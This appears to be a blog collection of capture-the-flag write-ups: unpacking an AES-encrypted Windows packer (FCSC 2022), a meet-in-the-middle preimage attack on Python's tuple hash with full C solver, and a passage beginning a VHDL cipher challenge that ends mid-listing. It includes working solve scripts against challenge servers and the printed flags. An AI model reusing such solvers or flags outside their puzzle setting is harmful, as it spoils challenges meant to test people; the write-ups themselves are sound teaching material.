**Hyper Packer** was a reverse challenge from FCSC 2022, of *medium* difficulty, and for which I got first blood.

We were asked to connect to a remote server that sends us multiple binaries, to unpack these and send back the secret they display.

## Preliminary analysis

First, we connect to the remote server once and solve the *proof-of-work* using `hashcash`, in order to retrieve a sample binary. Surprise, it's a Windows executable.

```
╭─face@0xff ~/ctf/fcsc/reverse/hyperpacker                                                       
╰─$ file sample.exe                                                                              
sample.exe: PE32+ executable (console) x86-64, for MS Windows
```

If we try to execute it, nothing really seems to happen. It just runs indefinitely.

Let's open up IDA. Although the executable is \~300KB, there are very few functions:

![Functions in the executable](/files/a5EZsqjey7ke08OBY6hs)

The `main` function looks like this:

![Main function](/files/kqGvbXYvPSWkXp7ExWRh)

It first calls `sub_140097203`, and if it succeeded, calls `sub_1400973F0` next. We notice these two sub-functions have an address as argument: `0x14004E000`, which is the start of the `.data` section. If we look at what's in there, all we can see is lots of high entropy data, which accounts for the vast majority of the file's size.

![High entropy data section](/files/Ga1DU6f4E6EGzc5wMvY4)

Let's check out the second function first (`sub_1400973F0`) because it will be easier to understand.

```c
_BOOL8 __fastcall sub_1400973F0(__int64 data)
{
  _BOOL8 result; // rax
  __int64 v2; // [rsp+128h] [rbp-18h]
  __int64 v3; // [rsp+130h] [rbp-10h]

  result = 0;
  if ( CheckMZ((_QWORD *)data) )
  {
    v2 = CheckPE(data);
    if ( v2 )
    {
      v3 = sub_14009773A(v2, data, 0x48A7Ci64);
      if ( v3 )
      {
        if ( sub_1400974A6(v3) && sub_140097647(v2, data, 0x48A7Ci64) )
          result = 1;
      }
    }
  }
  return result;
}
```

The functions `CheckMZ` and `CheckPE` simply check that the `data` buffer starts with `MZ` and also contains a PE header. Therefore, these are checks for a valid executable file. We understand another executable shall be unpacked, or decrypted, to this buffer.

We also guess the next functions take care of loading this new executable and running it, hence we will rename `sub_1400973F0` as `CheckAndRun`.

Let's now dive into the `sub_140097203` function, which we suppose is what unpacks the executable.

## Reversing the unpacking algorithm

Let's go through the `Unpack` function.

First, a 16-byte buffer (`v6`) is set to all null bytes. This could very be a key for a block cipher like AES. We will rename it `key` for the future.

```c
char *v1; // rdi
__int64 v2; // rcx
char v6[16]; // [rsp+118h] [rbp-18h] BYREF

v1 = v6;
v2 = 16i64;
do
{
  *v1++ = 0;
  --v2;
}
while ( v2 );
```

Next, `0x48A80` bytes of memory are allocated and the `data` buffer is copied to this newly allocated space.

```c
v3 = VirtualAlloc(0i64, 0x48A80ui64, 0x3000u, 4u);
if ( v3 )
{
  lpAddress = v3;
  qmemcpy(v3, data, 0x48A80ui64);
LABEL_5:
  if ( sub_1400971C8((__int64)data, (__int64)v6) )
  {
    sub_140097132(lpAddress, data, v6, 18600i64);
    LODWORD(v4) = VirtualFree(lpAddress, 0i64, 0x8000u);
    if ( v4 )
      return 1i64;
  }
  else
  {
    qmemcpy(data, lpAddress, 0x10ui64);
    while ( sub_1400973B3(v6) )
    {
      if ( !sub_140097358(v6, 0x140096A80i64, 16i64) )
        goto LABEL_5;
    }
  }
}
return 0i64;
```

The remaining part makes more sense if we write it with a `while` loop:

```c
while (1) {
  if (sub_1400971C8(data, key)) {
    sub_140097132(lpAddress, data, key, 0x48A8);
    VirtualFree(lpAddress, 0, 0x8000);
    break;
  } else {
    qmemcpy(data, lpAddress, 0x10ui64);
    while (sub_1400973B3(key)) {
      if (!sub_140097358(key, 0x140096A80, 16))
        break;
    }
  }
}
```

The `sub_1400971C8` function takes the `data` and `key` buffers as input. It is rather straightfoward:

```c
_BOOL8 __fastcall sub_1400971C8(__int64 data, __int64 key)
{
  _QWORD outbuf[2]; // [rsp+10h] [rbp-10h] BYREF

  sub_140097132(data, outbuf, key, 1i64);
  return CheckMZ(outbuf);
}
```

It calls `sub_140097132`, which is the same function that is called in `Unpack` right after this the call to this function, although with different arguments: `0x48A8` instead of `1` here.

We notice `0x48A8` is `0x48A80` divided by 16, in other words `0x48A8` is the number of 16-byte blocks in the `data` buffer, which supports the idea of AES-like symmetrical encryption.

Then, it checks whether `outbuf` starts with `"MZ"`. This surely means `sub_140097132` decrypts a first block of `data`, and a basic heuristic is used to determine whether the decryption was successful. We will rename this function to `GoodFirstBlock`, and the `sub_140097132` function to `DecryptData`.

If it passes the check for the first block, then it proceeds to decrypt the entire `data` buffer. If it does not, then something happens with the `key`:

```c
while (sub_1400973B3(key)) {
  if (!sub_140097358(key, 0x140096A80, 16))
    break;
}
```

The first function, `sub_1400973B3`, is easy to understand:

```c
__int64 __fastcall sub_1400973B3(_BYTE *key)
{
  _BYTE *v1; // rax

  v1 = key;
  do
  {
    if ( ++*v1 != 0xFF )
      return 1i64;
    *v1++ = 0;
  }
  while ( v1 != key + 16 );
  return 0i64;
}
```

It increments the `key` buffer, viewed as a 16-byte integer in little endian. We will rename it to `Increment`.

The second function, `sub_140097358`, takes the `key` and an address (`0x140096A80`) as input:

```
.data:0000000140096A80 unk_140096A80   db    0                 ; DATA XREF: DecryptData+54↓o
.data:0000000140096A81                 db  98h ; ˜
.data:0000000140096A82                 db    0
.data:0000000140096A83                 db    0
.data:0000000140096A84                 db 0C8h ; È
.data:0000000140096A85                 db    0
.data:0000000140096A86                 db    0
.data:0000000140096A87                 db    0
.data:0000000140096A88                 db    0
.data:0000000140096A89                 db    0
.data:0000000140096A8A                 db    0
.data:0000000140096A8B                 db    0
.data:0000000140096A8C                 db    0
.data:0000000140096A8D                 db    0
.data:0000000140096A8E                 db    0
.data:0000000140096A8F                 db    0
```

![sub\_140097358 function](/files/8oRsgbMuOps91AzoreAu)

What it does is ensure that all the bits set to 1 in the key lie at positions defined by a certain mask (`unk_140096A80`). For instance (with a reduced number of bits), with the mask `01100010`, the key `01000010` passes the check, but the key `01100011` does not. We will rename this function to `CheckBitMask`.

Therefore, the following loop increments the key until it finds a key that satisfies the mask.

```c
while (Increment(key)) {
  if (!CheckBitMask(key, mask, 16))
    break;
}
```

We understand now why the executable never really manages to finish unpacking itself: this loop is extremely unefficient. It comes down to brute-forcing up to $$2^{128}$$ keys worst-case scenario until finding one that satisifes the mask.

It is much easier to brute-force all the possible subsets of bit indexes given by the mask, since the mask only contains a few one bits.

Finally, let's reverse the `DecryptData` function.

```c
__int64 __fastcall DecryptData(__int64 data, _BYTE *outbuf, __int64 key, __int64 n_blocks) {
  __int64 result; // rax
  __int64 v5; // rcx
  _BYTE *v6; // r9
  _BYTE *v7; // r8
  __int64 v9; // [rsp+20h] [rbp-30h]
  _BYTE *v11; // [rsp+28h] [rbp-28h]
  __int64 v13; // [rsp+38h] [rbp-18h]
  char v14; // [rsp+40h] [rbp-10h]

  v14 = 1;
  result = InitRoundKeys(key);
  while ( n_blocks ) {
    result = DecryptAESBlock(data, outbuf);
    v5 = 0i64;
    v6 = v11;
    if ( v14 == 1 ) {
      v7 = &mask;
      v14 = 0;
    } else {
      v7 = (_BYTE *)(v9 - 16);
    }
    do {
      *v6++ ^= *v7++;
      ++v5;
    }
    while ( v5 != 16 );
    data = v9 + 16;
    outbuf = v11 + 16;
    n_blocks = v13 - 1;
  }
  return result;
}
```

The `InitRoundKeys` and `DecryptAESBlock` functions were easily recognizable because of the heavy use of XMM registers and AES-related instructions specific to Intel. For instance, the following `DecryptAESBlock` function leverages the `aesdec` instruction with the XMM registers `xmm5` to `xmm15` already filled with the round keys.

![DecryptAESBlock function](/files/aBRcxl3bv66P5UbDvCsc)

As we can see, a XOR is performed at the end of each block, hinting at CBC mode decryption. Under this hypothesis, we notice the `mask` is also used as the initialization vector for the decryption. One can verify the hypothesis of AES-128-CBC by debugging the executable.

All there is left for us to do is to implement the unpacking algorithm for generalized executables.

## Solution implementation

If we ask for a few more executables, we notice the only parts that change through these are the encrypted `data` and the `mask` value.

We can then easily fetch an executable, extract the relevant parts (the packed data and the mask) and run our "optimized brute-force" to find the key. Once the binary is unpacked, we get a new executable that runs:

![Unpacked executable displays the secret value](/files/MBrhJaBDlBvWRAyeYBim)

Fortunately for us, there is no obfuscation in this unpacked binary: the secret string can be found inside it in cleartext.

```
╭─face@0xff ~/ctf/fcsc/reverse/hyperpacker                                                        
╰─$ python3.9 solve_pow.py                                                                        
[+] Opening connection to challenges.france-cybersecurity-challenge.fr on port 2202: Done         
[*] Solving PoW                                                                                   
[+] Solved PoW: 1:26:220507:603e6556f2108faf::kDm1OewN30GkkNXF:6wHth                              
b'Here is your binary:\n'                                                                         
[+] Binary written at /tmp/hyperpacker.bin                                                        
b'Please input the secret within 60 seconds:\n'                                                   
00000000000000190010000000000000                                                                  
b'MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00'                                     
00000000000000190000000000000000                                                                  
b'BLPEN3FICK5OJEXG80YQS83HRIDGAS1M'                                                               
b'Well done!\n'                                                                                

[...]

b'Here is your binary:\n'                                                                         
[+] Binary written at /tmp/hyperpacker.bin                                                        
b'Please input the secret within 60 seconds:\n'                                                   
000000ac7488349c0000000000000000                                                                  
b'MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00'                                     
0000002c300034840000000000000000                                                                  
b'G46PZ0L9PIMUZAUA6J7SK4USE451ZIQK'                                                               
b'Well done!\n'                                                                                   
b'Congratulations! Here is your flag: FCSC{2b60aef3d241d3c37c30373a9a4446017a6d5b6761ae5492e3f824e
280cb8ceb}\n'  
```

### Solve script

```python
import subprocess
from pwn import *
from Crypto.Cipher import AES
from itertools import chain, combinations


def powerset(iterable):
    xs = list(iterable)
    return chain.from_iterable(combinations(xs,n) for n in range(len(xs)+1))


def decrypt(data, key, IV):
    cipher = AES.new(key, AES.MODE_CBC, IV=IV)
    return cipher.decrypt(data)


HOST = args.HOST or "challenges.france-cybersecurity-challenge.fr"
PORT = args.PORT or 2202


def main():
    r = remote(HOST, PORT)
    _ = r.recvlines(5)

    cmdline = r.recvline().strip().decode("utf-8").split(" ")
    assert cmdline[0] == "hashcash"
    assert cmdline[1] == "-mb26"
    assert cmdline[2].isalnum()

    log.info(f"Solving PoW")
    solution = subprocess.check_output([cmdline[0], cmdline[1], cmdline[2]])
    log.success(f"Solved PoW: {solution.decode()}")

    r.send(solution)

    while True:
        _ = r.recvline()
        print(_)

        encoded = r.recvline().strip()
        binary = b64d(encoded)

        with open("/tmp/hyperpacker.bin", "wb") as fp:
            fp.write(binary)

        log.success("Binary written at /tmp/hyperpacker.bin")
        print(r.recvline())

        magic_data = binary[0x400:0x400 + 0x48a80]
        IV = binary[0x48e80:0x48e80 + 0x10]
        print(IV.hex())
        
        bin_iv = f"{int.from_bytes(IV, byteorder='big'):0128b}"
        ones = [i for i in range(128) if bin_iv[i] == "1"]

        found = False
        for subset in powerset(ones):
            int_key = 0
            for bit_index in subset:
                int_key ^= 1 << (127 - bit_index)

            key = int_key.to_bytes(length=16, byteorder="big")

            first_block = decrypt(magic_data[:16], key, IV)
            if first_block[:2] == b"MZ":
                if b"PE" in decrypt(magic_data[:256], key, IV):
                    found = True
                    break

        if not found:
            print("not found :(")
            exit(1)

        print(first_block)
        print(key.hex())

        decrypted = decrypt(magic_data, key, IV)
        secret = decrypted.split(b"SECRET is : ")[1].split(b"\x00")[0]
        print(secret)

        r.sendline(secret)
        print(r.recvline())


if __name__ == "__main__":
    main()

"""
FCSC{2b60aef3d241d3c37c30373a9a4446017a6d5b6761ae5492e3f824e280cb8ceb}
"""
```


# Khal Hash (crypto)

**Khal Hash** was a cryptography challenge from FCSC 2022, of *hard* difficulty.

The goal of the challenge was basically to perform a **preimage attack** on Python's **`hash`** function, with some additional constraints. More particularly, we had to find a **tuple** of ASCII bytes ($$< 128$$) that hashes to `2077196538114990005`.

```python
#!/usr/bin/env python3.9
try:
    flag = tuple(open("flag.txt", "rb").read())
    assert len(flag) == 70

    challenge = hash(flag)
    print(f"{challenge = }")

    T = tuple(input(">>> ").encode("ascii"))
    if bytes(T).isascii() and hash(T) == challenge:
        print(flag)
    else:
        print("Try harder :-)")
except:
    print("Error: please check your input")
```

```
╭─face@0xff ~/ctf/fcsc/crypto/khalhash 
╰─$ nc challenges.france-cybersecurity-challenge.fr 2104
challenge = 2077196538114990005
>>>
```

## Python's hash function

Python's hash function is a builtin that can compute a 64-bit hash value for many types of object (but not every single one of them — dicts, for instance, are unhashable). Their main purpose is to enable quick look-up of values in data structures such as dicts or sets. They are by no means meant to be cryptographically secure.

For *tuples* specifically, the source code of the hash computation algorithm can be found [here](https://github.com/python/cpython/blob/3.9/Objects/tupleobject.c):

```c
#define _PyHASH_XXPRIME_1 ((Py_uhash_t)11400714785074694791ULL)
#define _PyHASH_XXPRIME_2 ((Py_uhash_t)14029467366897019727ULL)
#define _PyHASH_XXPRIME_5 ((Py_uhash_t)2870177450012600261ULL)
#define _PyHASH_XXROTATE(x) ((x << 31) | (x >> 33))  /* Rotate left 31 bits */

static Py_hash_t tuplehash(PyTupleObject *v)
{
    Py_ssize_t i, len = Py_SIZE(v);
    PyObject **item = v->ob_item;

    Py_uhash_t acc = _PyHASH_XXPRIME_5;
    for (i = 0; i < len; i++) {
        Py_uhash_t lane = PyObject_Hash(item[i]);
        if (lane == (Py_uhash_t)-1) {
            return -1;
        }
        acc += lane * _PyHASH_XXPRIME_2;
        acc = _PyHASH_XXROTATE(acc);
        acc *= _PyHASH_XXPRIME_1;
    }

    acc += len ^ (_PyHASH_XXPRIME_5 ^ 3527539UL);

    if (acc == (Py_uhash_t)-1) {
        return 1546275796;
    }
    return acc;
}
```

Knowing that Python integers hash to themselves, we can rewrite the algorithm for integer tuples this way in Python:

```python
PyHASH_XXPRIME_1 = 11400714785074694791
PyHASH_XXPRIME_2 = 14029467366897019727
PyHASH_XXPRIME_5 = 2870177450012600261
MASK = 0xFFFFFFFFFFFFFFFF

def hash_python(L):
  acc = PyHASH_XXPRIME_5
  for item in L:
    acc = (acc + item * PyHASH_XXPRIME_2) & MASK
    acc = ((acc << 31) | (acc >> 33)) & MASK
    acc = (acc * PyHASH_XXPRIME_1) & MASK
  acc = (acc + (len(L) ^ (PyHASH_XXPRIME_5 ^ 3527539))) & MASK
  return acc
```

We need to find a tuple of arbitrary length, with elements that are integers between 0 and 127 inclusive, that hashes to `2077196538114990005`.

I tried naively throwing z3 at this problem, by fixing the length of the tuple and increasing it when z3 determined the constraints were not satisfiable. This obviously did not work, otherwise the challenge would have been too easy.

Indeed, we can sense that in order to trigger a collision with the target value, we would need at least around 9 bytes in our tuple (this makes 63 bits of entropy), perhaps 10 bytes.

Brute-forcing around $$2^{64}$$ input values is way out of the question on a regular modern computer. Is there some kind of flaw that could allow us to construct an input that hashes to the target value?

With only the first and third lines in the for loop, it would have been easy as the function would become linear. Unfortunately, the bit rotation step breaks this linearity and makes it really hard to follow how tweaking the input impacts the output.

## Meet me in the middle

When looking up "python hash collision" on Google, I stumbled upon this blog post: [Efficiently generating Python hash collisions](https://www.leeholmes.com/efficiently-generating-python-hash-collisions/).

It highlights how in Python 3.2 and below, the `hash` function was vulnerable to a [MITM (Meet-in-the-Middle) attack](https://en.wikipedia.org/wiki/Meet-in-the-middle_attack). I realized even though the algorithm has changed since, we can still perform such an attack because the operations that are carried out are all **reversible**.

Naturally, you could go through the algorithm the opposite direction, knowing the target hash and the bytes that compose the input in the reverse order: you would then recover all the intermediate `acc` values and eventually get back the `_PyHASH_XXPRIME_5` constant.

The attack becomes clear now: the search space can drop from $$2^{64}$$ to $$2^{32}$$ by brute-forcing half the input length forward, half the input length backward, and leverage the birthday paradox theorem.

With only around $$2^{32}$$ inputs, we would have a decent chance of finding an intermediate `acc` value that has also been computed with around $$2^{32}$$ inputs in the *backwards* version of the algorithm.

![](/files/v3LIoP0RAVbtzYplCc4j)

Once we found a common intermediate `acc` value, we only have to concatenate the two found paths to get our solution to the preimage problem.

There's just one drawback with this method: it brings significant **space complexity**. Indeed, we need to store all the intermediate `acc` values to be able to look up if the one we computed backwards has already been computed forward.

Ideally, we want this LUT (look-up table) to tell us if we have already seen an intermediate value in $$O(1)$$, therefore it should be indexed with the intermediate `acc` value (e.g. `LUT[acc] = path_half`). This requires $$2^{64} \times \text{sizeof}(\text{path\_half})$$ bytes, which is out of the question.

We need to find some kind of compromise between space complexity and time complexity to find a real candidate: because reducing space complexity will inevitably bring collisions here, we will find many candidates for a common intermediate `acc` value, and we will have to check each time whether it is an actual one or not.

## Implementing the attack

For my solution, I tried to make the most of the RAM available on my computer. I chose to index my look-up table with 31 bit integers, each element in the table being a 4-byte path. This takes up **8 GB** of RAM.

```c
uint32_t *LUT = mmap(NULL, 2147483648 * sizeof(uint32_t), PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
```

Therefore, intermediate hash values would need to be reduced to 31 bits, which I did with a simple mask:

```c
hash = intermediate_forward(prefix, size);
lut_index = hash & 0x7FFFFFFF;
LUT[lut_index] = (prefix[0] << 24) | (prefix[1] << 16) | (prefix[2] << 8) | prefix[3];
```

The `intermediate_forward` function takes a prefix path of bytes and its size (here, 4). It returns the intermediate `acc` value for this path.

```c
uint64_t intermediate_forward(unsigned char *v, size_t len)
{
    uint64_t acc = _PyHASH_XXPRIME_5;
    for (size_t i = 0; i < len; i++) {
        acc += ((uint64_t) v[i]) * _PyHASH_XXPRIME_2;
        acc = _PyHASH_XXROTATE(acc);
        acc *= _PyHASH_XXPRIME_1;
    }
    return acc;
}
```

I also implemented an `intermediate_backward` function:

```c
uint64_t intermediate_backward(unsigned char *v, size_t len, size_t total_len, uint64_t hash)
{
    uint64_t acc = hash;
    // Total len shall take into account the prefix that is not here
    acc -= total_len ^ (_PyHASH_XXPRIME_5 ^ 3527539UL);
    for (size_t i = 0; i < len; i++) {
        acc *= _PyHASH_XXPRIME_1_inv;
        acc = _PyHASH_XXROTATE_inv(acc);
        acc -= ((uint64_t) v[i]) * _PyHASH_XXPRIME_2;
    }
    return acc;
}
```

My exploit first fills the LUT with all the $$2^{28}$$ possible intermediate values for 4-byte prefix paths. Then, it brute-forces 6-byte suffix paths until finding a matching entry in the LUT, and ensures that this entry is a valid one by concatenating the two paths and computing the final hash.

After 30 minutes to 1 hour, I finally get a valid candidate:

```
Found: 43 0f 39 6a 40 04 01 28 36 39
```

Let's try it out in Python:

```python
>>> hash(tuple(b"\x43\x0f\x39\x6a\x40\x04\x01\x28\x36\x39"))
2077196538114990005
```

It works! Now we send it to the remote, and get back the flag.

```
$ echo -e "\x43\x0f\x39\x6a\x40\x04\x01\x28\x36\x39" | nc challenges.france-cybersecurity-challenge.fr 2104
challenge = 2077196538114990005
>>> (70, 67, 83, 67, 123, 49, 100, 52, 51, 99, 100, 57, 49, 48, 101, 53, 55, 55, 53, 98, 56, 48, 99, 97, 55, 97, 50, 99, 51, 57, 51, 53, 102, 99, 53, 99, 55, 54, 98, 50, 48, 55, 100, 50, 98, 98, 52, 52, 97, 53, 57, 54, 98, 52, 55, 52, 53, 50, 49, 100, 55, 55, 54, 98, 56, 101, 52, 49, 50, 125)
```

```python
>>> bytes((70, 67, 83, 67, 123, 49, 100, 52, 51, 99, 100, 57, 49, 48, 101, 53, 55, 55, 53, 98, 56, 48, 99, 97, 55, 97, 50, 99, 51, 57, 51, 53, 102, 99, 53, 99, 55, 54, 98, 50, 48, 55, 100, 50, 98, 98, 52, 52, 97, 53, 57, 54, 98, 52, 55, 52, 53, 50, 49, 100, 55, 55, 54, 98, 56, 101, 52, 49, 50, 125))
b'FCSC{1d43cd910e5775b80ca7a2c3935fc5c76b207d2bb44a596b474521d776b8e412}'
```

![](/files/gk5E5vPLm8ifJiwfcTfc)

PS: I am deeply sorry to that person I kicked out of the top 3 crypto senior ranking by solving this challenge, who had already submitted their write-ups. 😭

### Full solution code

```c
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

#define _PyHASH_XXPRIME_1 ((uint64_t) 11400714785074694791ULL)
#define _PyHASH_XXPRIME_2 ((uint64_t) 14029467366897019727ULL)
#define _PyHASH_XXPRIME_5 ((uint64_t) 2870177450012600261ULL)
#define _PyHASH_XXROTATE(x) ((x << 31) | (x >> 33))

#define _PyHASH_XXPRIME_1_inv ((uint64_t) 614540362697595703ULL)
#define _PyHASH_XXROTATE_inv(x) ((x << 33) | (x >> 31))


uint64_t tuplehash(unsigned char *v, size_t len)
{
    uint64_t acc = _PyHASH_XXPRIME_5;
    for (size_t i = 0; i < len; i++) {
        acc += ((uint64_t) v[i]) * _PyHASH_XXPRIME_2;
        acc = _PyHASH_XXROTATE(acc);
        acc *= _PyHASH_XXPRIME_1;
    }
    acc += len ^ (_PyHASH_XXPRIME_5 ^ 3527539UL);
    return acc;
}

uint64_t intermediate_forward(unsigned char *v, size_t len)
{
    uint64_t acc = _PyHASH_XXPRIME_5;
    for (size_t i = 0; i < len; i++) {
        acc += ((uint64_t) v[i]) * _PyHASH_XXPRIME_2;
        acc = _PyHASH_XXROTATE(acc);
        acc *= _PyHASH_XXPRIME_1;
    }
    return acc;
}

uint64_t intermediate_backward(unsigned char *v, size_t len, size_t total_len, uint64_t hash)
{
    uint64_t acc = hash;
    // Total len shall take into account the prefix that is not here
    acc -= total_len ^ (_PyHASH_XXPRIME_5 ^ 3527539UL);
    for (size_t i = 0; i < len; i++) {
        acc *= _PyHASH_XXPRIME_1_inv;
        acc = _PyHASH_XXROTATE_inv(acc);
        acc -= ((uint64_t) v[i]) * _PyHASH_XXPRIME_2;
    }
    return acc;
}

void increment(unsigned char x[], size_t size) {
    for(size_t i = 0; i < size; i++) {
        x[i]++;
        if (i >= 4) {
            printf("%d\n", x[i]);
        }
        if (x[i] == 128) {
            x[i] = 0;
        } else {
            break;
        }
    }
}

int main() {

    unsigned char prefix[64] = { 0 };
    unsigned char max[64] = { 0 };
    uint64_t hash;
    uint64_t lut_index;

    size_t size = 4; 

    // 8 GB RAM LUT
    uint32_t *LUT = mmap(NULL, 2147483648 * sizeof(uint32_t), PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);

    if(LUT == MAP_FAILED){
        perror("mmap");
        return 1;
    }

    memset(max, 0x7F, sizeof(max));
    memset(prefix, 0, sizeof(prefix));
    memset(LUT, 0, sizeof(LUT));

    puts("Creating LUT...");

    while (1) {

        hash = intermediate_forward(prefix, size);

        // 31 bits to address LUT.
        // There can be collisions, but there should be few since we are brute-forcing a 28-bit prefix.
        lut_index = hash & 0x7FFFFFFF;
        LUT[lut_index] = (prefix[0] << 24) | (prefix[1] << 16) | (prefix[2] << 8) | prefix[3];

        increment(prefix, size);

        if (!memcmp(prefix, max, size)) {
            break;
        }
    
    }

    puts("Finished filling LUT. Gonna brute-force backwards now...");

    uint64_t target_hash = 2077196538114990005;

    unsigned char suffix[64] = { 0 }; // Suffix will be stored in reverse
    unsigned char final[64] = { 0 };
    memset(max, 0x7F, sizeof(max));
    memset(suffix, 0, sizeof(suffix));
    memset(final, 0, sizeof(suffix));

    size = 6;

    while (1) {

        hash = intermediate_backward(suffix, size, 4 + size, target_hash);
        lut_index = hash & 0x7FFFFFFF;
        
        if (LUT[lut_index] != 0x00000000) {
            final[0] = (LUT[lut_index] >> 24) & 0xFF;
            final[1] = (LUT[lut_index] >> 16) & 0xFF;
            final[2] = (LUT[lut_index] >> 8) & 0xFF;
            final[3] = LUT[lut_index] & 0xFF;
            final[4] = suffix[5];
            final[5] = suffix[4];
            final[6] = suffix[3];
            final[7] = suffix[2];
            final[8] = suffix[1];
            final[9] = suffix[0];

            hash = tuplehash(final, 4 + size);
            if (hash == target_hash) {
                printf("Found: %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x\n", final[0], final[1], final[2], final[3], final[4], final[5], final[6], final[7], final[8], final[9]);
            }
        }

        increment(suffix, size);

        if (!memcmp(suffix, max, size)) {
            break;
        }
    
    }

    return 0;
}
```


# Hackday Qualifications 2022

April 8th - April 18th

I participated with **SHRECS** and got 1st place, managing to solve all the challenges.


# Cubik'cipher

**Cubik'cipher** was a challenge from the @HackDay Qualifications 2022 in the **hardware** category, with 3 solves. The challenge in itself was a mixture of hardware and crypto and was a fun introduction to VHDL, as well as an opportunity for me to learn playing with some HDL-specific tools, which was out of my comfort zone.

## Description

> *A month ago, a spy managed to infiltrate the secret lair of an enemy!* *This one was developing his own data encryptor!* *Since then, it seems that the enemy has finished it, so it's up to us to build the decryptor that will allow us to spy on him without him noticing!* *The flag is of the form HACKDAY{...}*

We were given several files:

* `cubik_cipher.vhd`, `cubik_pkg.vhd` and `key_randomize.vhd`: VHDL sources for a cryptographic algorithm implementation, which included encryption only.
* `test_vector.txt`: a file containing an example case of plaintext, key and corresponding ciphertext.
* `flag.txt`: a file containing a ciphertext and a key.

The goal of the challenge is therefore clear: we have to implement the algorithm that will decrypt the flag. We also understand that this is not an *actual* crypto challenge — in the sense that, even though the algorithm may be original, it is not expected to find weaknesses in it in order to solve the challenge, as the key is given.

Globally, there are two main routes one can choose from:

* Implement decryption directly in VHDL.
* Translate the whole algorithm to another language, use the test vector to make sure encryption works correctly, and implement decryption.

Since I didn't feel comfortable enough to go for the first option, I rewrote the algorithm in Python with Sage. But first, we need to look at the sources and understand the algorithm.

## Understanding the cryptography

Prior to anything, let's take a look at `test_vector.txt` and `flag.txt`.

```
data : 4841434B4441590000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
key : e637e7147b2911da7a812269f24da4ba853a8d07087aeea84d6c50e2914f2f8adcea672ebe45de8e458fced9a0db7559eb83b3548dc91aa612cdb6062edd6c9ac993ed607e3fc38c6e27c81cd5666b6ea147c460f3c46565de8905ebc964b683430fdcb151ec3cf2127445b56fd0079c1614677a866f17989c021cc5b53b97ca
data_ciphered : 065A9D041EA0ABB6A38764BA3DCB6B13EFE3FC67DF249BFF149A8EFEA0984D52AC295403103023537198AFDE0C64D7AC5D23F2F25BE941C1AA8149E9FC174995D491F150E518AF26
```

```
data_ciphered : 79EEEF596B960C42262DFD1D0A2DB218FA3C71C681963F0CC389D3F0F5234C8023CA79D315186AF55621289F92AD6D9B657D999E074C84E13BFDAEDC94A3BA4FCB95B4013BFC40E5
key : f0ae2e1abee8afbe3ea424cc71f4ce17455a21d5df15cc4f6362e3af095cfb6da7188a9777c2c875ab39145a88a2142aea7b5411607110d70cd3d37c20f259b1920031990709d8e0e8d661b1a05fe8b5719aab6569835b3e52be738982608fda36549fd1e3398c725190356fbe97998b79f84f0ef23c4dea63898b52319a47a2
```

Before encryption, the plaintext is padded with null bytes to have a 576-bits block (72 bytes). The ciphertext is also a 576-bits block. The key, however, is much larger (1024 bits).

### Main entity

The "main" file in the VHDL sources is `cubik_cipher.vhd`:

```vhdl
library ieee;
use ieee.std_logic_1164.all;
use ieee.numeric_std.all;

use work.cubik_pkg.all;


entity cubik_cipher is
    generic (round_div_2 : positive := 8);
    port (
    resetn : in  std_logic;
    clk    : in  std_logic;
-- key
    key    : in std_logic_vector(1023 downto 0);
-- d in
    d_v_i  : in  std_logic;
    d_i    : in  std_logic_vector(data_width-1 downto 0);
-- dout
    d_c    : out std_logic_vector(data_width-1 downto 0);
    d_v_c  : out  std_logic
  );
end entity;

architecture rtl of cubik_cipher is
    constant key_w : positive := 576;
    type state is (idle, engine);
    signal current_state,next_state    : state;
    signal ctr_round : natural range 0 to 9;
    signal end_ctr,cmd_ctr : std_logic;
    signal rkey :  std_logic_vector(key_w-1 downto 0);
    signal reg_cipher :  std_logic_vector(d_i'range);
begin


process (clk, resetn) is
  begin
    if resetn = '0' then
      ctr_round <= 0;
    elsif rising_edge(clk) then
      if cmd_ctr = '0' then
        ctr_round <= 0;
      else
        ctr_round <= ctr_round + 1;
      end if;
    end if;
  end process;
end_ctr <= '1' when ctr_round = 9 else '0';

process (clk, resetn) is
begin
      if resetn = '0' then
          current_state <= idle;
      elsif rising_edge(clk) then
          current_state <= next_state;
      end if;
end process;

process (clk, resetn) is
begin
      if resetn = '0' then
          reg_cipher <= (others => '0');
      elsif rising_edge(clk) then
          if d_v_i = '1' and ctr_round = 0 then
            reg_cipher <= d_i;
          else 
            reg_cipher <= round(reg_cipher, rkey);
          end if;
      end if;
end process;
d_c <= reg_cipher;

process (current_state, end_ctr, d_v_i)
begin
  d_v_c <= '0';
  case current_state is
----------------------------
    when idle    =>
    if d_v_i = '1' then
      next_state <= engine;
    end if;
    cmd_ctr <= '0';
----------------------------
    when engine  =>
    if end_ctr = '1' then
      next_state <= idle;
      d_v_c <= '1';
      cmd_ctr <= '0';
    else 
      cmd_ctr <= '1';    
    end if;
----------------------------
end case;
end process;

  key_engine : entity work.key_randomize
  generic map(key_w => key_w)
  port map (
    resetn => resetn,
    clk    => clk,
    load   => d_v_i,
    key    => key,
    key_r  => rkey
  );
end architecture;
```

Note: again, I am not well-versed in hardware and HDL, so some of my explanations or the terminology that I use may be incorrect at times.

The following part describes the inputs and outputs of the `cubik_cipher` entity:

```vhdl
entity cubik_cipher is
    generic (round_div_2 : positive := 8);
    port (
    resetn : in  std_logic;
    clk    : in  std_logic;
-- key
    key    : in std_logic_vector(1023 downto 0);
-- d in
    d_v_i  : in  std_logic;
    d_i    : in  std_logic_vector(data_width-1 downto 0);
-- dout
    d_c    : out std_logic_vector(data_width-1 downto 0);
    d_v_c  : out  std_logic
  );
end entity;
```

We can see it needs a clock signal `clk`, an input key `key` (1024 bits), and input data `d_i` which is the plaintext. We will see that `d_v_i` dictates when the encryption process should start. The outputs are `d_c`, the ciphertext, and `d_v_c`, a bit that notifies the encryption process has terminated.

Then, the architecture for `cubik_cipher` is described at RTL (*Register Transfer Level*), which is a way to represent a circuit at a higher level of abstraction, using registers acting as signals.

```vhdl
architecture rtl of cubik_cipher is
    constant key_w : positive := 576;
    type state is (idle, engine);
    signal current_state,next_state    : state;
